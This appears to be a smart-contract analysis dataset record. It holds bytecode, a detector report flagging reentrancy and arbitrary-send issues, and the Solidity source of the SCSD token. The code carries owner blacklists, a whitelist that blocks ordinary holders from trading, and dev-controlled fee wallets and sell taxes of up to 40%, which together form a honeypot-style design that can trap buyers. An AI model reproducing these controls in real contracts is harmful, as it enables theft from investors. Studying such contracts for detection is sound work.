fffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fc0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f80565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63601a836131a5565b9150612c6e826134cc565b602082019050919050565b6000612c86602a836131a5565b9150612c91826134f5565b604082019050919050565b6000612ca96022836131a5565b9150612cb482613544565b604082019050919050565b6000612ccc601b836131a5565b9150612cd782613593565b602082019050919050565b6000612cef601d836131a5565b9150612cfa826135bc565b602082019050919050565b6000612d126021836131a5565b9150612d1d826135e5565b604082019050919050565b6000612d356020836131a5565b9150612d4082613634565b602082019050919050565b6000612d586029836131a5565b9150612d638261365d565b604082019050919050565b6000612d7b6025836131a5565b9150612d86826136ac565b604082019050919050565b6000612d9e6024836131a5565b9150612da9826136fb565b604082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c5d4e9594dd768016b7f188b9e3fcfd52e725c5210c8657d1da2cc09258d3d8d64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
524
0x2ac8445215edb55b7cbdd6d9fe9c90ae433745e6
/** *Submitted for verification at Etherscan.io on 2021-12-08 */ /** *Submitted for verification at Etherscan.io on 2021-11-14 */ //104 116 116 112 115 58 47 47 116 46 109 101 47 65 108 112 104 97 76 97 117 110 99 104 101 115 //ASCII // SPDX-License-Identifier: MIT //You all may have noticed that botters and snipers are wrecking coins. //Well shitcoin season is dying. But we are a group of the evil botters and //snipers that want to save it and you. //SCSD is a DAO where each token represents a % ownership of profits earned //by our snipers and botters. //Each sniper and botter will sign up on our website, to be released shortly, //and our users will have the option to stake their tokens to share in the profits //of a specific botter/sniper. //The botter/sniper take less risk because they are in effect playing with house //money and using our users funds as collateral. In return, our users receive a //profit share. //Twitter: https://twitter.com/ssisdead pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Contract is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "ShitCoinSeasonisDead"; string private constant _symbol = "SCSD"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; // 0% uint256 private _buytax = 10; // Buy tax 10% uint256 private _teamFee; uint256 private _sellTax = 10; // Launch sell tax 40% for 30mins. Tax goes down 5% for every zero we lose until it goes down to 10%. uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _numOfTokensToExchangeForTeam = 500000 * 10**9; uint256 private _routermax = 5000000000 * 10**9; // Bot detection mapping(address => bool) private bots; mapping(address => bool) private BigBrains; mapping(address => uint256) private cooldown; address payable private _MarketTax; address payable private _Dev; address payable private _DevTax; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private publicsale = false; uint256 private _maxTxAmount = _tTotal; uint256 public launchBlock; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable markettax, address payable devtax, address payable dev) { _MarketTax = markettax; _Dev = dev; _DevTax = devtax; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_MarketTax] = true; _isExcludedFromFee[_DevTax] = true; _isExcludedFromFee[_Dev] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if(from != address(this)){ require(amount <= _maxTxAmount); } if(!publicsale){ require(BigBrains[from] || BigBrains[to] || BigBrains[msg.sender]); } if(from == uniswapV2Pair || from == address(uniswapV2Router)){ _teamFee = _buytax; } if(from != uniswapV2Pair && from != address(uniswapV2Router)){ _teamFee = _sellTax; } require(!bots[from] && !bots[to] && !bots[msg.sender]); uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _routermax) { contractTokenBalance = _routermax; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam; if (!inSwap && swapEnabled && overMinTokenBalance && from != uniswapV2Pair && from != address(uniswapV2Router) ) { // We need to swap the current tokens to ETH and send to the team wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function isExcluded(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function isBlackListed(address account) public view returns (bool) { return bots[account]; } function isBigBrainsed(address account) public view returns (bool) { return BigBrains[account]; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _MarketTax.transfer(amount.div(2)); _DevTax.transfer(amount.div(2)); } function NoSimpsAllowed() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; publicsale = false; _maxTxAmount = 10000000000 * 10**9; launchBlock = block.number; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function setSwapEnabled(bool enabled) external { require(_msgSender() == _Dev); swapEnabled = enabled; } function manualswap() external { require(_msgSender() == _Dev); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _Dev); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner() { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function setBigBrains(address[] memory BigBrains_) public onlyOwner() { for (uint256 i = 0; i < BigBrains_.length; i++) { BigBrains[BigBrains_[i]] = true; } } function delBot(address notbot) public onlyOwner() { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**3); emit MaxTxAmountUpdated(_maxTxAmount); } function setRouterPercent(uint256 maxRouterPercent) external { require(_msgSender() == _Dev); require(maxRouterPercent > 0, "Amount must be greater than 0"); _routermax = _tTotal.mul(maxRouterPercent).div(10**4); } function _setSellTax(uint256 selltax) external onlyOwner() { require(selltax >= 0 && selltax <= 40, 'selltax should be in 0 - 40'); _sellTax = selltax; } function _setBuyTax(uint256 buytax) external onlyOwner() { require(buytax >= 0 && buytax <= 10, 'buytax should be in 0 - 10'); _buytax = buytax; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function setMarket(address payable account) external { require(_msgSender() == _Dev); _MarketTax = account; } function setDev(address payable account) external { require(_msgSender() == _Dev); _Dev = account; } function setDevpay(address payable account) external { require(_msgSender() == _Dev); _DevTax = account; } function SimpsAllowed() external onlyOwner() { publicsale = true; } function _ZeroLost() external { require(_msgSender() == _Dev); require(_sellTax >= 10 && _sellTax <= 40, 'teamFee should be in 10 - 40, Minimum for ZeroLost is 10'); _teamFee = _teamFee.sub(5); } function _ZeroSellTax() external { require(_msgSender() == _Dev); _sellTax = 0; } function _ZeroBuyTax() external { require(_msgSender() == _Dev); _buytax = 0; } }
0x6080604052600436106101fd5760003560e01c80638da5cb5b1161010d578063d00efb2f116100a0578063dd62ed3e1161006f578063dd62ed3e146105c3578063e01af92c14610609578063e47d606014610629578063e850fe3814610662578063e9ba2c701461067757600080fd5b8063d00efb2f1461054d578063d477f05f14610563578063d543dbeb14610583578063dbe8272c146105a357600080fd5b8063c0e6b46e116100dc578063c0e6b46e146104bf578063c3c8cd80146104df578063cba0e996146104f4578063cf27e7d51461052d57600080fd5b80638da5cb5b1461042a57806395d89b4114610452578063a9059cbb1461047f578063b515566a1461049f57600080fd5b8063313ce567116101905780636fc3eaec1161015f5780636fc3eaec146103b657806370a08231146103cb578063715018a6146103eb57806384e1879d146104005780638d9d08e71461041557600080fd5b8063313ce5671461033a57806333ed506f14610356578063437823ec146103765780636dcea85f1461039657600080fd5b806323b872dd116101cc57806323b872dd146102c5578063273123b7146102e557806327e3fa0b146103055780632b7581b21461031a57600080fd5b806306fdde0314610209578063095ea7b31461025857806318160ddd146102885780631de10a56146102ae57600080fd5b3661020457005b600080fd5b34801561021557600080fd5b5060408051808201909152601481527314da1a5d10dbda5b94d9585cdbdb9a5cd119585960621b60208201525b60405161024f9190611e7f565b60405180910390f35b34801561026457600080fd5b50610278610273366004611ef9565b6106b0565b604051901515815260200161024f565b34801561029457600080fd5b50683635c9adc5dea000005b60405190815260200161024f565b3480156102ba57600080fd5b506102c36106c7565b005b3480156102d157600080fd5b506102786102e0366004611f25565b61070f565b3480156102f157600080fd5b506102c3610300366004611f66565b610778565b34801561031157600080fd5b506102c36107c3565b34801561032657600080fd5b506102c3610335366004611f83565b610b42565b34801561034657600080fd5b506040516009815260200161024f565b34801561036257600080fd5b506102c3610371366004611fb2565b610bc2565b34801561038257600080fd5b506102c3610391366004611f66565b610c54565b3480156103a257600080fd5b506102c36103b1366004611f66565b610ca2565b3480156103c257600080fd5b506102c3610ce4565b3480156103d757600080fd5b506102a06103e6366004611f66565b610d11565b3480156103f757600080fd5b506102c3610d33565b34801561040c57600080fd5b506102c3610da7565b34801561042157600080fd5b506102c3610dce565b34801561043657600080fd5b506000546040516001600160a01b03909116815260200161024f565b34801561045e57600080fd5b5060408051808201909152600481526314d0d4d160e21b6020820152610242565b34801561048b57600080fd5b5061027861049a366004611ef9565b610e89565b3480156104ab57600080fd5b506102c36104ba366004611fb2565b610e96565b3480156104cb57600080fd5b506102c36104da366004611f83565b610f28565b3480156104eb57600080fd5b506102c3610fbd565b34801561050057600080fd5b5061027861050f366004611f66565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561053957600080fd5b506102c3610548366004611f66565b610ff3565b34801561055957600080fd5b506102a060195481565b34801561056f57600080fd5b506102c361057e366004611f66565b611035565b34801561058f57600080fd5b506102c361059e366004611f83565b611077565b3480156105af57600080fd5b506102c36105be366004611f83565b611145565b3480156105cf57600080fd5b506102a06105de366004612077565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561061557600080fd5b506102c36106243660046120be565b6111c5565b34801561063557600080fd5b50610278610644366004611f66565b6001600160a01b031660009081526010602052604090205460ff1690565b34801561066e57600080fd5b506102c3611203565b34801561068357600080fd5b50610278610692366004611f66565b6001600160a01b031660009081526011602052604090205460ff1690565b60006106bd33848461122a565b5060015b92915050565b6000546001600160a01b031633146106fa5760405162461bcd60e51b81526004016106f1906120db565b60405180910390fd5b6017805460ff60b81b1916600160b81b179055565b600061071c84848461134e565b61076e8433610769856040518060600160405280602881526020016122a1602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611710565b61122a565b5060019392505050565b6000546001600160a01b031633146107a25760405162461bcd60e51b81526004016106f1906120db565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107ed5760405162461bcd60e51b81526004016106f1906120db565b601754600160a01b900460ff16156108475760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016106f1565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108843082683635c9adc5dea0000061122a565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e69190612110565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610933573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109579190612110565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156109a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c89190612110565b601780546001600160a01b0319166001600160a01b039283161790556016541663f305d71947306109f881610d11565b600080610a0d6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a75573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a9a919061212d565b505060178054678ac7230489e800006018554360195563ffff00ff60a01b1981166201000160a01b1790915560165460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610b1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b3e919061215b565b5050565b6000546001600160a01b03163314610b6c5760405162461bcd60e51b81526004016106f1906120db565b600a811115610bbd5760405162461bcd60e51b815260206004820152601a60248201527f6275797461782073686f756c6420626520696e2030202d20313000000000000060448201526064016106f1565b600955565b6000546001600160a01b03163314610bec5760405162461bcd60e51b81526004016106f1906120db565b60005b8151811015610b3e57600160116000848481518110610c1057610c10612178565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610c4c816121a4565b915050610bef565b6000546001600160a01b03163314610c7e5760405162461bcd60e51b81526004016106f1906120db565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6014546001600160a01b03